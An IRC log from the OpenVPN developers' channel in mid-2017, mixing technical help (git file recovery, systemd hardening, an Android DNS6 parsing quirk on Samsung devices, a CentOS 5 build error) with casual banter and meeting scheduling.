[~vpnHelper@openvpn/bot/vpnHelper] has quit [Write error: Broken pipe] 17:44 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 17:44 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 17:46 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 247 seconds] 17:49 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 17:49 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 20:23 <@ordex> morning 20:32 < slypknot> obrigado! 20:47 <@ordex> hm 20:47 <@ordex> ok 20:47 <@ordex> :d 20:50 < CRCinAU> urgh 20:50 < CRCinAU> sets an update going... gets bored, starts playing this while waiting: https://www.youtube.com/watch?v=b1z4JfxFb6c --- Day changed Fri Jul 28 2017 00:28 <@ordex> plaisthos: 00:29 <@ordex> plaisthos: is it expected that "push dhcp-option DNS6 $some_ipv6" is not parsed by the android app ? 00:29 <@ordex> I think the ipv6 format is not recognized 04:22 <@cron2> ok, git experts, here comes the next questin 04:22 <@cron2> I have modified stuff in my tree, but not committed yet 04:22 <@cron2> an editor accident happened (say), and one file got mangled 04:23 <@cron2> is there a way to do "git, please restore this single file to what is in the index"? git reset doesn't seem to do that for me (only for "all of it") 04:23 <@dazo> slypknot: that forum post isn't related to eurephia at all ... the [eurephia] is from the v2.2 era where you could do ./configure --disable-eurephia to remove the adaptations needed for eurephia to work ... since that had been the default for quite some time, we removed --disable-eurephia and the [eurephia] tag in v2.3 04:24 <@dazo> cron2: yes, that is doable ... there are a few different alternatives 04:24 <@dazo> git diff $file | git apply -R 04:24 <@dazo> git reset $file (need to double check the syntax) 04:24 <@cron2> nah, reset isn't doing that 04:25 <@cron2> the "git diff" bit is fun :-) 04:25 <@cron2> I just found "git checkout -- $file" 04:25 <@dazo> ahh, yeah 04:26 <@cron2> thanks :) 04:26 <@dazo> and there's also the more hard core approach ... git ls-tree HEAD $file .... the 3 column contains the blob ID ... so you can do: git show $blobID 04:27 <@dazo> (this last approach can be used to recover files from deleted branches .... as long as you have a commit reference to the branch) 04:28 <@dazo> then you just replace HEAD with the commit reference 04:29 <@cron2> I don't think I can remember that :-) - but if I ever end in that situation, I'll call you :) 04:29 <@syzzer> git checkout -- #file is the right tool :) 04:30 <@syzzer> ls-tree is way beyond the git porcelain :-p 04:30 <@syzzer> one thing to remember though is git reflog 04:30 <@dazo> yeah, I'm blurred by ancient knowledge .... I believe it was git reset which was needed, but git checkout is a vast improvement and helps doing the right stuff with far less risks of messing up more 04:30 <@syzzer> to e.g. recover a lost branch 04:31 <@dazo> right 04:32 <@dazo> there's also git fsck --unreachable 05:04 <@ordex> I vote for git checkout -- $file 05:04 <@ordex> and if you want, also git checkout -p 05:04 <@ordex> so you get asked chunk by chunk 05:04 <@ordex> :] 05:04 <@ordex> instead of restoring the whole file 05:09 <@syzzer> I usually do that the gui way: fire up git gui, stage the whole file, unstage the hunks I don't want, revert those changes (ctrl-j), unstage the bits I do want. I feel like I have a better overview of the context that way. 05:11 <@ordex> the ways of git are infinite 05:11 <@ordex> :D 05:16 <@cron2> gui... 05:16 <@cron2> next thing he tells me he's using emacs 05:19 <@syzzer> hehe, nope, I use eclipse for development (... waiting for the sound of cron2 dropping of his chair ...) 05:20 <@cron2> nah :-) - I know that plaisthos is the one with emacs 05:32 < Thermi> ewwwwwww 05:32 < Thermi> sublime text ftw! 05:37 <@ordex> nobody is vim addicted here ? 05:37 <@ordex> :P 05:38 <@syzzer> I use vim a lot, but when I'm working on something more complex I prefer an IDE 05:38 <@ordex> yeah 05:39 <@syzzer> tried sublime btw, looks nice, but didn't work as good as eclipse for me 05:39 < Thermi> No IDE is best IDE 05:39 <@ordex> I manage to stick to vim even for bigger projects, but when I come to object oriented langages .. with inheritance and other stuff.....then it becomes complicated :P 05:39 <@ordex> syzzer: I tried many to use with c++ and eventually got back to eclipse too 05:47 <@cron2> ordex: vim stinks, I use basic FreeBSD vi 05:47 <@cron2> all this syntax highlighting nonsense is far too distracting to actually concentrate 05:48 <@ordex> hehe 05:48 <@ordex> I like it 05:48 <@ordex> now I was curious to try neovim 05:48 <@ordex> but haven't had a chance yet 05:48 <@ordex> syzzer: did you try it ? 06:16 <@syzzer> ordex: nope 07:04 < slypknot> ordex: any news on ipv6pf with plugin and --pf-dir ? (also, what time is it there) ? 07:05 <@ordex> slypknot: not yet - been quite busy :( 07:05 <@ordex> it's 8pm here :P 07:06 < slypknot> ok .. not to worry :) .. yeah singapore right ? 07:06 <@ordex> nope 07:06 <@ordex> HK 07:06 < slypknot> ok 07:06 <@ordex> no death penalty here :P 07:06 < slypknot> lol 07:07 < slypknot> my partnet has family from singapore .. one who has been thrown out of sing and now lives in uk 07:10 <@ordex> :D 07:10 <@ordex> better not to come back then :P 07:10 < slypknot> indeed ! 07:12 < slypknot> is there an expected date to release 2.5 ? 07:17 <@ordex> I don't think so 07:17 <@ordex> we don't even have a roadmap 07:19 <@ordex> dazo: if systemd has to start openvpn with logfile on a mounted external disk, does it need special capabilities or something particular in the config ? 07:19 <@ordex> (config == systemd unit file) 07:24 < slypknot> ordex: you will need --log /path/to/drive/file.log and that would need to be mounted prior to openvpn start and be writable by whatever --user openvpn you use 07:24 <@ordex> that is fine 07:25 <@ordex> but when i start with systemd i get errors saying "read-only filesystem" like systemd is not giving the process the ability to write 07:25 <@ordex> if i start the daemon from command line, with the same config, it works 07:25 < slypknot> are you using openvpn-server/client@ .service ? 07:26 <@ordex> yes 07:26 <@ordex> actually this is happening with another daemon 07:26 <@ordex> i will try the same with openvpn 07:26 <@ordex> in a sec 07:26 <@ordex> mh 07:27 <@ordex> actually openvpn works fine 07:27 <@ordex> so false alarm 07:27 <@ordex> with openvpn everything is ok 07:29 < slypknot> setting user/group in systemd unit file ? 07:29 < eworm> where is your log file located? 07:29 < eworm> Probably Protect{Home,System}=true is your problem 07:30 < eworm> ordex: ^ 07:31 <@ordex> eworm: actually it is tor that I am trying to start and I get that error on both the control socket and the auth file 07:31 <@ordex> it is simply located on the external hard disk 07:31 <@ordex> and when i start the daemon manually with sudo -u $user it just works 07:31 <@ordex> let me check if I have that entry 07:32 <@ordex> ProtectHome=yes ProtectSystem=full 07:32 <@ordex> oh 07:32 <@ordex> no clue what that means 07:32 <@ordex> I will read up, thanks for the hint 07:32 < eworm> ordex: see man 5 systemd.exec for details 07:32 <@ordex> thanks ;) 07:33 <@ordex> slypknot: I had tried all the classic check for that, that's why I imagined it was something about systemd hardening 08:02 <@ordex> eworm: thanks :) it was easier than I could imagine :P 08:15 <@d12fk> LOLd @ https://www.youtube.com/watch?v=cfUSjgL7lwk 08:16 <@d12fk> happy sysadamin day to who it may concern 08:18 < CRCinAU> that's awesome. 08:20 <@d12fk> cracked up at the heart part =) 08:36 < CRCinAU> So I managed to find some 4Gb RAM sticks today :) 08:36 < CRCinAU> replaced 5 x 2Gb sticks with 4 x 4Gb sticks in my desktop. 08:36 < CRCinAU> winrar. 08:37 < CRCinAU> and its 1600MHz instead of 1333 :) 08:46 -!- lev__ [~lev@openvpn/corp/lev] has joined #openvpn-devel 09:26 < CRCinAU> god dammnit dazo 09:26 < CRCinAU> you can't be giving so much help on the mailing list ;) 09:44 < slypknot> CRCinAU: I called him on that too ! ;) 09:45 -ChanServ:#openvpn-devel- ecrist set flags +V on *!*@openvpn/corp/* 09:45 -!- mode/#openvpn-devel [+vv danhunsaker lev__] by ChanServ 09:49 < slypknot> He is the human equivalent of a cheap super-market .. givin' the goods away ! 09:49 < CRCinAU> hahahahha 09:59 -!- Irssi: #openvpn-devel: Total of 28 nicks [9 ops, 0 halfops, 3 voices, 16 normal] 12:16 < slypknot> oooo-er: https://github.com/openssl/openssl/pull/4043 12:16 <@vpnHelper> Title: Fix rsa -check option by InfoHunter · Pull Request #4043 · openssl/openssl · GitHub (at github.com) 12:51 <@dazo> CRCinAU: I only do it because it makes me believe I can yell and scream at really stupid questions ;-) --- Day changed Sat Jul 29 2017 05:41 < SCHAPiE> regarding openvpn-build: adding that 'set -e' thing + ' || true' in clean_empty_dirs() in the build script, seems to break the 'perl "util/mkdefs.pl"' subcommand when using LibreSSL instead of OpenSSL 05:41 < SCHAPiE> failing with a message that it cannot find util/mkdefs.pl 05:42 < SCHAPiE> when doing crosscompilation from linux for win32/win64 05:43 < SCHAPiE> so in my fork woohooyeah/openvpn-build, that change is not included in my build-libressl.. i don't want it to break 05:44 < SCHAPiE> https://github.com/woohooyeah/openvpn-build/commit/91029b1692f3768af80777a2dda98e9500d359ed 06:37 <@vpnHelper> RSS Update - tickets: #922: signed integer overflow in event_timeout_trigger (src/openvpn/interval.c:54) <https://community.openvpn.net/openvpn/ticket/922> 13:57 < slypknot> hmm .. cannot make lzo-2.10 on Arch-64 14:05 < slypknot> CCLD tests/chksum 14:05 < slypknot> CCLD tests/promote 14:05 < slypknot> tests/promote.o: file not recognized: File format not recognized 14:05 < slypknot> collect2: error: ld returned 1 exit status 14:05 < slypknot> make[1]: *** [Makefile:849: tests/promote] Error 1 14:05 < slypknot> m 20:53 <@ordex> morning --- Day changed Sun Jul 30 2017 01:55 <@cron2> again? 01:56 <@cron2> if so... "morning!" 01:56 <@ordex> morning ! 01:56 <@ordex> :d 01:56 <@ordex> :D 02:13 <@mattock> morning 02:41 < CRCinAU> its always morning somewhere in the world... dispite my protests.... 02:42 <@ordex> ;) 05:02 <+krzee> moin 09:56 <@plaisthos> ordex: my app should parse and use DNS6 09:58 <@plaisthos> cron2: yeah, but I think James actually uses EMacs more development than I, I trater use a IDE like Clion 10:21 < CRCinAU> mattock / ordex / plaisthos / dazo: Just a ping on my contrib script for YUbiCloud auth :) 11:07 <@ordex> plaisthos: I get an error in the log about parsing the IPv6 dns 11:08 <@ordex> not on the DNS6 keyword 11:22 <@plaisthos> ordex: can you copy and paste the error? 16:35 <+krzee> i wonder what would happen if you had duplicate certs enabled and had a ccd with an iroute, and 2 clients with that CN connected 16:35 <+krzee> i guess my assumption would be second connection gets the internal route... but thats just assumption 19:12 < slypknot> iroute over write iroute 22:34 <@ordex> plaisthos: "Error parsing DNS Server IP: xxxx:aaaa:aaa::a" 22:34 <@ordex> plaisthos: this is what I get 22:35 <@ordex> moin moin --- Day changed Mon Jul 31 2017 02:52 * CRCinAU references the OpenVPN book in a mailing list post. 02:52 < CRCinAU> suck it fella. 02:58 <@cron2> CRCinAU: haha :-) 04:21 <@ordex> lol 04:33 <@dazo> CRCinAU: re: yubicloud contrib script .... I'm no perl expert, while I do see it works (haven't tested v4 yet) ... so unless cron2 (or other perl geeks) spots something, I think we should accept that into contrib/ 04:35 * cron2 wants longer days :( 04:36 * dazo too 04:40 <@syzzer> same here. But I think we need to either be more careful about what we put in contib/ (ie, proper review everything), or change contrib/README to make it very explicit that the scripts there are *not* guarded by the same quality control that the other bits are. 04:42 * dazo just realized we have contrib/README ..... 04:42 <@ordex> at this point, isn't it better to have a separate repository for contrib stuff? detached from the main code base ? 04:43 <@dazo> hmmm .... that's actually not a bad idea 04:46 <@dazo> package maintainers might scream at us for a bit ... but those are the only ones who would be hit by it first of all; and they can decide if they want to bundle the additional external contrib/ into their package or not 04:46 <@ordex> right - I don't think anybody expects to have *all* the contrib stuff when installing openvpn on their system (except for people that already know they come together) 04:47 <@ordex> contrib can remain a repo to be fetched whe needed, or people can jus tget what they need, without being bundled/distributed 04:47 <@dazo> In Fedora/EPEL, I all ready remove some cruft not being so interesting for those distros 04:47 <@ordex> (unless the package maintainer wants that) 04:47 <@dazo> yeah 04:47 <@ordex> yeah 04:53 <@ordex> cron2: syzzer: dazo: for the meeting, just pick a date and let's do it at 8 or 8:30pm. It'll be fine with me (as soon as you don't wan tto watch my face :D) 04:54 * dazo votes for a video conference! :-P 04:54 <@ordex> :D 04:54 <@dazo> 20:30 sounds like a good time for me ... have been harder to get our oldest one to bed this summer 04:58 <@syzzer> ok, Wed 20:30 CEST ? 04:59 <@syzzer> oh, I'm away for lunch for a bit. Back in ~30min. 05:07 < CRCinAU> meeting eh? 05:07 <@dazo> yeah 05:07 < CRCinAU> wtf is CEST? :P 05:07 <@dazo> Central European Summer Time (UTC+2) 05:07 < CRCinAU> ah - so like stupid oclock in the morning? :P 05:08 <@dazo> hehe ... well, it's not our fault your country is in the wrong time zone! ;-) 05:08 < CRCinAU> its the way of the future :P 05:09 <@dazo> :) 05:09 < CRCinAU> monitor Australia - cos if it goes dark, you've got 8 hours to say goodbye to your loved ones ;P 05:09 <@dazo> lol 05:11 <@ordex> lol 05:13 <@ordex> I am a bit confused about the time difference 05:13 <@ordex> let me recheck what time I am allowing this 05:13 <@ordex> :D 05:15 <@ordex> omg ok 05:15 <@ordex> :D 05:18 <@dazo> :/ .... http://www.reuters.com/article/us-russia-internet-idUSKBN1AF0QI 05:18 <@vpnHelper> Title: Putin bans VPNs to stop Russians accessing prohibited websites | Reuters (at www.reuters.com) 05:19 < CRCinAU> LOL 05:21 < Thermi> I guess that's why valdik isn't here anymore 05:21 < Thermi> Ah, he is 05:21 < Thermi> I wonder for how long 05:21 <@dazo> nov 1st? :-P 05:21 < Thermi> probably 05:21 < Thermi> Or he'll switch countries 05:22 <@ordex> hehe 05:22 <@dazo> what puzzles me is this statement: Leonid Levin, the head of Duma's information policy committee, has said the law is not intended to impose restrictions on law-abiding citizens but is meant only to block access to "unlawful content," 05:22 < Thermi> Isn't it all? 05:22 < Thermi> :D 05:22 <@ordex> GFWv2 05:23 <@dazo> that statement can be interpreted in so many various ways, it is hard to say what they really mean 05:23 < Thermi> Exactly what they're doing 05:23 <@ordex> dazo: I think that's exactly the purpose of the statement 05:23 <@dazo> yeah 05:24 < Thermi> It's russia, not norway. 05:24 < Thermi> What do you expect them to do under Putin's rule? :) 05:24 <@dazo> which adds just more interpretation possibilities 05:24 < Thermi> With the crackdown on TOR operators, I'm sure it's going to go a similiar way as china. 05:25 <@dazo> well, from what I've heard ... despite the anti-Putin medias in the west ... most of the alternatives are often worse ..... 05:25 <@dazo> (I've heard that from several russians) 05:25 <@dazo> yeah, I'm not surprised to see a GFW arriving here too 05:26 <@dazo> (heck, they're even discussing that in Norway too ....) 05:47 < CRCinAU> can I have another bitch..... 05:47 < CRCinAU> Supreeth is developing an open vpn app for the Tizen mobile platform - yet can't figure out the difference between reply to all and posting a new message to a mailing list. 05:47 < CRCinAU> ohhhh lordy.... 05:48 <@ordex> :D 05:48 <@ordex> patience ... you need patience 05:48 < CRCinAU> My stupid counter doesn't go to 11..... 06:03 < Thermi> Is it possible to ban people or countries from mailing lists? 06:04 < Thermi> You know what one of the good things about strongSwan is? The documentation is so sparse and it's so hard to learn it, that newbies soon give up. 06:09 <@syzzer> Thermi: :') 06:10 <@syzzer> ordex, dazo, cron2: about that meeting, when? Does Wed 20:30 CEST work for you? I can do 21:00 too if that reduces the pain for ordex ;-) 06:29 <@cron2> wfm 07:13 <@ordex> wfm what ? :D 07:13 <@ordex> syzzer: fine with me 20:30 07:13 <@cron2> "works for me" 07:13 <@ordex> 21 does not really makes a difference 07:27 <@dazo> wfm too! 07:31 <@ordex> wtf too! 07:33 <@dazo> ordex: wtF ... F? :-P 07:34 <@ordex> lol 07:47 <@dazo> mattock: you fix? https://forums.openvpn.net/viewtopic.php?f=4&t=24600#p72095 07:47 <@vpnHelper> Title: Repository http://swupdate.openvpn.net/apt not being updated - OpenVPN Support Forum (at forums.openvpn.net) 07:48 < slypknot> WTF gives with openvpn windows services: 07:48 < slypknot> C:\Program Files\OpenVPN\bin\openvpnserv.exe - OpenVPNServiceInteractive 07:48 < slypknot> C:\Program Files\OpenVPN\bin\openvpnserv.exe - OpenVPNServiceLegacy 07:48 < slypknot> They are the same exe ?? 07:52 <@d12fk> yes, multiple services can be offered from the same .exe 07:52 < Thermi> switch on $0 07:52 <@ordex> normal on linux too 07:53 <@d12fk> no it's not $0 on Windows, you just register different functions as different services 07:53 < Thermi> uhu 07:54 <@plaisthos> ordex: hm there might be something wrong with my parser, can you pm me the push statement you have in your server config so I can double check it? 07:54 <@plaisthos> my option 'push "dhcp-option DNS6 2001:638:502:137::23"' works fine here 07:54 < slypknot> d12fk: ok thanks 07:55 <@ordex> plaisthos: 'push "dhcp-option DNS6 2001:470:20::2"' here 07:55 <@ordex> maybe some regexp on the address? and mine is somewhat shorter than usual ? 07:57 <@ordex> plaisthos: not sure it makes any difference, but that line comes after pushing 2 normal DNS 07:59 <@plaisthos> ordex: will check 07:59 <@plaisthos> ordex: no custom parser as I need to some fancy route calulation for other parts of the app 07:59 <@ordex> plaisthos: ok 07:59 <@ordex> plaisthos: let me know if I can be of any help 08:02 <@plaisthos> hm 08:02 <@plaisthos> my client accepts that dns server without problem *confused* 08:03 <@ordex> hm 08:03 <@plaisthos> ordex: samsung phone/tablet? 08:03 <@ordex> plaisthos: yes 08:03 <@plaisthos> ah okay 08:03 <@ordex> b0rken phone ? 08:03 <@plaisthos> there is a special branch for **#$(@ samsung because their DNS is broken 08:03 <@ordex> ah 08:03 <@plaisthos> and I forget about it when I added dns6 support 08:03 <@ordex> well, I can live with that then 08:04 <@plaisthos> "Warning Samsung Android 5.0+ devices ignore DNS servers outside the VPN range. To enable DNS resolution a route to your DNS Server (%s) has been added." 08:04 <@plaisthos> (You cannot make these things up) 08:04 <@ordex> aaah 08:04 <@plaisthos> going to make block IPv4 only 08:04 <@ordex> how about I puhs a route to it then ? 08:04 <@ordex> *push 08:04 <@plaisthos> no the problem is that that block in my programm assumes dns server ips are ipv4 08:05 <@plaisthos> but the exception should not remove the dns from the list 08:05 <@plaisthos> it should still be used 08:05 <@ordex> ah ok 08:05 <@ordex> I did not check if it's used actually 08:05 <@ordex> so might be the case 08:06 <@plaisthos> check with higher verbosity if it is in the tun config 08:06 <@plaisthos> where local ip and dns is display. 08:09 <@ordex> plaisthos: where do I increase the verbosity? 08:09 <@ordex> plaisthos: btw, just my opinion, but having tls-crypt under the key direction is very ugly :D 08:10 <@plaisthos> ordex: the slider in the log window 08:11 <@plaisthos> ordex: yeah, I should rename that from key direction to TLS mode or somethig better 08:11 <@ordex> plaisthos: yeah I see it in the "DNS Server" list being printed later 08:12 <@ordex> plaisthos: maybe the switch for tls-auth can be converted in a menu, with none, tls-auth, tls-crypt 08:12 <@plaisthos> then it is used 08:12 <@ordex> cool 08:12 <@ordex> ok thanks, then the warning is bogus 08:12 <@ordex> because it tries to parse it as v4 to add a route 08:12 <@ordex> right? 08:13 <@plaisthos> yeah 08:13 <@plaisthos> and checks if it is not yet included 08:13 <@ordex> but the additional route is not needed for dns v6? 08:13 <@plaisthos> and only does that for the first DNS 08:13 <@plaisthos> no idea :) 08:13 <@plaisthos> it is Samsung 08:13 <@plaisthos> dns has to be vpn range for 5.x and 6.x 08:13 <@plaisthos> haven't tested again with 7.x 08:13 <@ordex> ok :D 08:14 <@ordex> I think this was required also on iOS in earlier versions, probably because they copied from Android 08:14 <@ordex> :D 08:14 <@plaisthos> ordex: https://github.com/schwabe/ics-openvpn/blob/master/main/src/main/java/de/blinkt/openvpn/core/OpenVPNService.java#L751 08:14 <@vpnHelper> Title: ics-openvpn/OpenVPNService.java at master · schwabe/ics-openvpn · GitHub (at github.com) 08:15 <@ordex> hehe 08:15 <@ordex> thanks 08:15 <@plaisthos> it is only Samsung that does that stuff 08:54 <@ordex> meh, this people writing one-line emails and hoping that somebody else will do all their job.. 08:54 <@ordex> mah 09:05 < Thermi> Answer with even shorter mails 10:08 <@plaisthos> Yes 11:40 <@vpnHelper> RSS Update - gitrepo: cleanup: Move write_pid() to where it is being used <https://github.com/OpenVPN/openvpn/commit/c5b12817c9aa3ae97fbdd2c2a9a9ab605087dff1> || tls-crypt: avoid warnings when --disable-crypto is used <https://github.com/OpenVPN/openvpn/commit/2dfbf62b6ace1eb39f1ae7126bc5530a541bed58> || management: preserve wait_for_push field when asking for user/pass <https://github.com/OpenVPN/openvpn/commit/3322c558fa742cb823fa 12:04 <@vpnHelper> RSS Update - gitrepo: cleanup: Move write_pid() to where it is being used <https://github.com/OpenVPN/openvpn/commit/c5b12817c9aa3ae97fbdd2c2a9a9ab605087dff1> || tls-crypt: avoid warnings when --disable-crypto is used <https://github.com/OpenVPN/openvpn/commit/2dfbf62b6ace1eb39f1ae7126bc5530a541bed58> || management: preserve wait_for_push field when asking for user/pass <https://github.com/OpenVPN/openvpn/commit/3322c558fa742cb823fa 12:18 <@vpnHelper> RSS Update - gitrepo: cleanup: Move write_pid() to where it is being used <https://github.com/OpenVPN/openvpn/commit/c5b12817c9aa3ae97fbdd2c2a9a9ab605087dff1> || tls-crypt: avoid warnings when --disable-crypto is used <https://github.com/OpenVPN/openvpn/commit/2dfbf62b6ace1eb39f1ae7126bc5530a541bed58> || management: preserve wait_for_push field when asking for user/pass <https://github.com/OpenVPN/openvpn/commit/3322c558fa742cb823fa 13:06 <@cron2> vpnhelper has drunk again... 13:09 <@cron2> ordex: and, of course, the best answer to "what is the best failover mechanism?" can only be "BGP!" 13:14 <@plaisthos> cron2: no best answer is RIP 13:14 <@plaisthos> because that can be offense or a real attempt at providing a solution 13:48 < slypknot> reboot 13:48 < slypknot> if that fails .. switch it off and on again 13:49 < slypknot> if that fails .. call tech support 13:49 < slypknot> who will tell you to reboot it 14:45 <@dazo> whenever I call tech-support, I interrupt them saying that I've done networking stuff for 20 years, and, *yes*, I have rebooted everything 10 minutes ago 14:46 <@dazo> if they still tell me to reboot, I just say "that's stupid, but okay" ... waits for 20 seconds, keeping the phone on mute ... and says "Done!" 14:53 <@plaisthos> Once I had non working INternet but working phone from my parents home 14:54 <@plaisthos> when they ask me to reboot, I told them that this would disconect the phone call I am just making. That confused the first level support so much that I was trasfered to 2nd level 15:01 <@dazo> lol ... that's a good one :) 15:22 < slypknot> lol 15:32 < slypknot> it's like "tech support" never heard of autoexec.bat 15:41 * slypknot openvpn --version | grep SSL 16:44 < gnzsb> Hey guys, I am trying to code something using the OpenVPN C++ Library and I've got several servers and my goal is create a windows application that allows users to select a server to tunnel through and ONLY tunnel connections (incoming/outgoing) from SPECIFIC applications. I don't want an OS-wide tunnel that grabs all sorts of data from browsers, I 16:44 < gnzsb> M programs, etc. Users type in process names and we tunnel only those connections. Is this possible, and if so, how can it be done? Do I need external libraries as well besides the OpenVPN library? 16:47 <@plaisthos> gnzsb: first point, just a reminder because a lot of seem not to understand this, if you use that library your app will need to opensourced under GPL3. 16:50 <@plaisthos> For the question of that, you somehow need to convince windows routing to route per ip 16:50 <@plaisthos> not per ip 16:50 <@plaisthos> per app 16:51 <@plaisthos> This is possible under Linux, I have no idea if something similar exists for Windows but I am no Windows expert 16:56 < slypknot> kerio did it 16:57 <@plaisthos> then probably some api exist that can be used 16:58 <@plaisthos> but they also have a firewall iirc 16:58 < slypknot> it would blue screen all the time 16:58 <@plaisthos> if you are unlucky you need to go relatively deep into the stack and implement your own firewall filter/driver(?) 16:59 < slypknot> kerio did a firewall and a router .. sort of .. but windows cut them down like weeds .. for some reason 17:01 < slypknot> see policy based routing for windows : https://blogs.technet.microsoft.com/nettracer/2010/06/16/do-we-support-policy-based-routing-on-windows-server-operating-systems/ 17:01 <@vpnHelper> Title: Do we support "Policy based routing" on Windows Server operating systems? nettracer (at blogs.technet.microsoft.com) 23:27 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 255 seconds] 23:28 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 23:28 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Tue Aug 01 2017 01:50 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Ping timeout: 276 seconds] 01:51 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 01:51 -!- mode/#openvpn-devel [+o dazo] by ChanServ 11:17 <@cron2> it is WAY TOO HOT here... 12:14 < CRCinAU> send heat here. plzkthnx 12:14 < CRCinAU> its currently 2.7c outside. 12:20 * cron2 sends 10c over... 37c here 12:21 <@ecrist> It's 81F here (F for Freedom Units) 12:22 * ecrist assumes c == commie 12:22 <@cron2> didn't know you could measure temperature in feet 12:23 <@cron2> well, but if you can messure pressure in "pounds per square inch", anything goes... 12:23 <@ecrist> see, freedom is acquired my US Marines putting their foot up your ass, so maybe that's the correlary? 12:24 <@ecrist> cron2: did you guys ever have the Kool-Aid man ads back in the 80's/90's where he comes bursting through the wall, "Ooooh Yeaaahhh!"? 12:24 <@cron2> no kool-aid here :( 12:24 <@ecrist> that *is* sad 12:25 <@ecrist> most of us consumed it by opening the flavor packet and either 1) sticking a finger in and licking it off one finger-full at a time, or 2) daring eachother to down the whole packet at one. 12:25 <@ecrist> It was quite sour, all by itself (without the 3 cups of sugar usually added) 13:31 < CRCinAU> ecrist: with that summary, you should go into PR.... 13:31 < CRCinAU> I hear the whitehouse is hiring.... 14:49 <+krzee> In file included from route.c:48: 14:49 <+krzee> /usr/include/linux/rtnetlink.h:487: error: expected specifier-qualifier-list before ‘__u64’ 14:49 <+krzee> anybody know the trick to compiling 2.4 for centos-5? 15:58 <@cron2> most likely add #include <sys/types.h> somewhere further up in route.c 16:03 <+krzee> moved it to right before common.h, same error 16:03 <@cron2> moved what? 16:03 <+krzee> #include <sys/types.h> 16:03 <@cron2> if <sys/types.h> was already there, moving won't change anything 16:04 <@cron2> so you need to find which header file is defining __u64 (which rtnetlink.h wants to use) 16:04 <@cron2> maybe <inttypes.h> or something along the liens 16:04 <+krzee> line 3519/4169 is where it was 16:05 <@cron2> that is not relevant - if it was before <linux/rtnetlink.h> the specific location does not matter 16:05 <+krzee> way after, thats on line 48 16:05 <@cron2> try adding #include <inttypes.h> before <sys/types.h> 16:07 <+krzee> same 16:08 <@cron2> mmmh. About everything in linux/*.h uses __u64 freely, and it is defined in asm-generic/int-ll64.h and int-l64.h, but I do not know who is supposed to include those 16:09 <@cron2> asm/types.h -> asm-generic/types.h -> 16:10 <@cron2> <linux/types.h> 16:10 <@cron2> this is what you want in addition to <sys/types.h> I guess 16:11 <+krzee> /usr/include/linux/rtnetlink.h:487: error: expected specifier-qualifier-list before ‘__u64’ 16:12 <+krzee> i bet dazo will know offhand when he gets in 16:12 <+krzee> he knows a lot of centos specific stuff 20:50 < CRCinAU> so ummm 20:51 < CRCinAU> as an FYI, RHEL 7.4 just landed.... 20:51 < CRCinAU> and boy - broken deps in 2 packages I've found so far :\ 21:34 <@ecrist> krzee: probably need to remove systemd goo --- Day changed Wed Aug 02 2017 00:34 <@cron2> krzee: no change when including <linux/types.h> before rtnetlink? 00:34 <@cron2> ecrist: "add" :-) - his CentOS is so old it does not have systemd yet 00:47 < CRCinAU> fuck it. fuck it. fuck it. fuck. 00:48 < CRCinAU> I think I've just nailed down a major bug with swapping in the 4.11.x series of kernels :\ 02:41 <@cron2> you will be banned from using Linux! 03:25 < CRCinAU> hahah sounds normal LOL 03:26 < CRCinAU> bottom line, whatever the issue is, when I cause my system to swap ~600Mb of RAM to the swap partition, under 4.11 I can cause a load average of 50+ 03:26 < CRCinAU> and the system dies in the ass until you can kill stuff to free up RAM 03:26 < CRCinAU> kernel 4.10 works fine and only pauses for a couple of seconds while it swaps 04:32 <@dazo> ecrist: systemd support is disabled by default ... you'll need --enable-systemd to activate those code paths 06:55 <@dazo> ordex: I've run your sitnl patch for a while now, and it works very well ... so this is getting ready to be scrutinized more publicly :) 06:59 <@ordex> cool! @:) 07:03 <@ordex> dazo: meeting is later today, right ? 07:14 <@dazo> yeah 07:21 < CRCinAU> sitnl? 07:25 <@dazo> "Simplified Interface To NetLink" 07:26 < CRCinAU> "Simplified Interface To NetLink"? 07:26 < CRCinAU> :p 07:26 <@dazo> CRCinAU: ordex have a new patch which kicks out iproute2 and talks directly to the Linux kernel when configuring tun/tap devices, routing, and similar things iproute2 usually does 07:26 < CRCinAU> ahhhhhhhh cool :) 07:28 < CRCinAU> still not sure what I need to do for my yubikey script to get it in there ;) 07:28 <@dazo> patience? :-P 07:28 < CRCinAU> cos then I'm wondering if I should do an LDAP one - but that may be better left with the PAM plugin + sssd etc 07:29 <@dazo> auth-pam, with our without sssd works quite well 07:30 <@dazo> but of course, for non FreeIPA enrolled hosts that requires more configuration than just letting openvpn talk directly to an LDAP server 07:30 <@dazo> so, it depends on the sys-admins goal 07:30 < CRCinAU> yeah - I use openldap + fusiondirectory 07:30 < CRCinAU> just cos I couldn't be bothered learning freeipa lol 07:30 < CRCinAU> that works fine with sssd + pam 07:31 < CRCinAU> I wonder what other options for OTP based stuff could be 07:31 < CRCinAU> Google Authenticator? 07:31 < CRCinAU> is that still a thing? 07:32 < CRCinAU> can I prompt for stuff as part of the auth process? ie does that server -> client interaction exist? 07:41 <@dazo> FreeOTP ? 08:05 <@ecrist> dazo: systemd === the devil 08:18 <@syzzer> ecrist: I would describe it as a malignant cancer, working hard to infect the entire system 08:19 <@syzzer> but it seems too late to for treatment, so I guess I'll have to learn to live with it... 08:19 <@dazo> https://www.youtube.com/watch?v=ZNeq2Utm0nU 08:28 < CRCinAU> this is better; https://www.youtube.com/watch?v=zPGb4STRfKw :) 10:09 < slypknot> what is the difference between "\-" and "-" eg (openvpn.8:5343) \-\-verify\-x509\-name Server -name-prefix 10:09 <@ecrist> the \ escapes the - 10:10 < slypknot> yes .. but see the example .. some are not escaped 10:11 <@ecrist> the escaped instances are the ones used on the command line, the non-escaped ones seem to be comments 10:12 < slypknot> ok .. so i am trying to correct that line and submit a patch .. should it read "Server\- name\-prefix" or "Server- name-prefix" 10:13 <@ecrist> is it a bug? 10:14 < slypknot> it is a doc bug yes 10:14 * ecrist looks 10:15 <@ecrist> line 5343? 10:15 < slypknot> it is currently "\-\-verify\-x509\-name Server -name-prefix 10:15 < slypknot> line 5343 on my screen 